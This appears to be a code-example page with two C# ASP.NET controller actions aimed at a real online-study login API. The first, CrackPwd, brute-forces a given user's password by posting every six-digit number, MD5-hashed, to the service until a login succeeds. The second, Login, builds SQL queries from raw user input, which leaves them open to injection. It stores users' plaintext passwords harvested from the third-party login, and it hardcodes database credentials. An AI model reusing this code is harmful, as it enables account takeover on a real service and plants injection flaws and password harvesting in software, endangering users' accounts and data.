Ejemplo n.º 1
0
        /// <summary>
        /// /GetInfo/CrackPwd
        /// </summary>
        /// <returns></returns>
        public ActionResult CrackPwd()
        {
            string uid = Request.Form["uid"];

            if (string.IsNullOrWhiteSpace(uid))
            {
                return(null);
            }
            HttpHelper http   = new HttpHelper();
            string     result = "未破解成功";
            //string pwd = EncriptHelper.MD5Encrypt32("");
            string url = "http://api.yiboshi.com/api/study/student/login";


            for (int k = 0; k < 1000000; k++)
            {
                string pwd = k + "";
                for (int m = pwd.Length; m < 6; m++)
                {
                    pwd = "0" + pwd;
                }
                string tempPwd = pwd;
                pwd = EncriptHelper.MD5Encrypt32(pwd);
                Dictionary <string, string> paramList = new Dictionary <string, string>()
                {
                    { "username", uid },
                    { "password", pwd }
                };
                string loginResult = http.SendPost(url, paramList);
                if (loginResult.Contains("studentInfo"))
                {
                    result = tempPwd;
                    break;
                }
            }

            return(Content(result));
        }
Ejemplo n.º 2
0
        public ActionResult Login()
        {
            string      connString = "Data Source=127.0.0.1;Initial Catalog=BlogSystem;Persist Security Info=True;User ID=sa;PWD=st";
            SqlliteHelp database   = CommonController.database;;
            /*new SqlDatabase(connString)*/

            string    err = "{\"result\":\"0\"}";
            string    uid = Request.Form["uid"];
            string    pwd = Request.Form["pwd"];
            string    str = System.AppDomain.CurrentDomain.SetupInformation.ApplicationBase;
            DataTable dts = null;

            try
            {
                dts = database.QueryTable("select * from t_ybsUser where uid = '" + uid + "'");
            }
            catch (Exception ex) {
            }
            try
            {
                pwd = dts.Rows[0]["pwd"].ToString();
            }
            catch (Exception ex) { }

            string password = pwd;

            if (string.IsNullOrWhiteSpace(uid) || string.IsNullOrWhiteSpace(pwd))
            {
                return(Content(err));
            }
            string     loginUrl = "http://api.yiboshi.com/api/study/student/login";
            HttpHelper http     = new HttpHelper();

            pwd = EncriptHelper.MD5Encrypt32(pwd);
            //pwd = "a008aa83f9f52700237f9ecb93159a5b";
            //      "a08aa83f9f5270237f9ecb93159a5b"
            Dictionary <string, string> paramList = new Dictionary <string, string>()
            {
                { "username", uid },
                { "password", pwd }
                //"54ea5aec6ebb71a07ece56aae5c7deaa" 391122
                //e10adc3949ba59abbe56e057f20f883e 391122
                // 54ea5aec6ebb71a07ece56aae5c7deaa
            };

            try
            {
                string result = http.SendPost(loginUrl, paramList);
                Session["http"] = http;
                //登陆成功,用户名入库
                if (result.Contains("studentInfo"))
                {
                    string    sql = "select * from t_ybsUser where uid = '{0}'";
                    DataTable dt  = database.QueryTable(string.Format(sql, uid));
                    if (dt.Rows.Count > 0)
                    {
                        sql = "update t_ybsUser set pwd = '{0}' where uid = '{1}' ";
                        int reInt = database.ExecuteSql(string.Format(sql, password, uid));
                    }
                    else
                    {
                        sql = "insert into t_ybsUser (uid,pwd) values('{0}','{1}')";
                        int reInt = database.ExecuteSql(string.Format(sql, uid, password));
                    }
                }
                return(Content(result));
            }
            catch (Exception ex)
            {
                return(Content(ex.Message));
            }
        }